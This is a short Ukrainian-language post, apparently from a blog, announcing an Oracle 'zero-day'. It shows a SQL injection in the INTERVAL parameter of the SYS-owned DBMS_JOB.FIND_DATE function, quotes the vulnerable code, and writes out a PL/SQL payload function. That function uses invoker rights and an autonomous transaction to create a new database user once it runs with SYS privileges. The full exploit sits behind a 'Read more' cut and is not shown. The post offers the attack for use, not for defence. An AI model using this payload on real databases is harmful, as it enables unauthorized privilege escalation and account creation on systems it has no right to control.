TARGET: ORACLE. 0day експлойт
Не люблю багато писати, тому все швиденько та по порядку: шукав функцію вразливу до sql-injection під свої потреби, наткнувся на таку в пакеті dbms_job який належить sys користувачеві, функція find_date.
...
30 CUR := DBMS_SQL.OPEN_CURSOR;
31 BEGIN
32
33 DBMS_SYS_SQL.PARSE_AS_USER( CUR, 'select sysdate, ' || INTERVAL ||
34 ' from dual', DBMS_SQL.NATIVE );
...
INTERVAL – вразливий параметр. Але тут проблема: функція не оголошена в пакеті, тобто її можна використовувати тільки всередині пакету, під мої потреби це не підходить, хоча, можливо комусь і буде потрібно. Але щоб довести справу до переможного кінця, знайшов процедуру в пакеті яка цю функцію використовує, вона там не одна, але так як мені ця функція не підійшла, я взяв першу ліпшу.
...
134 MYDATE: = FIND_DATE (INTERVAL);
135 IF NOT NO_PARSE THEN
136 PARSE_JOB (WHAT);
137 END IF;
138
...
Створюємо функцію, хоча можна використати і курсор, але я віддаю перевагу старій школі.
CREATE OR REPLACE FUNCTION fff return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'create user fff identified by fff';
COMMIT;
RETURN 'sys';
END;
/
Ну і власне сам експлойт (під катом):
Read more...
Останні коментарі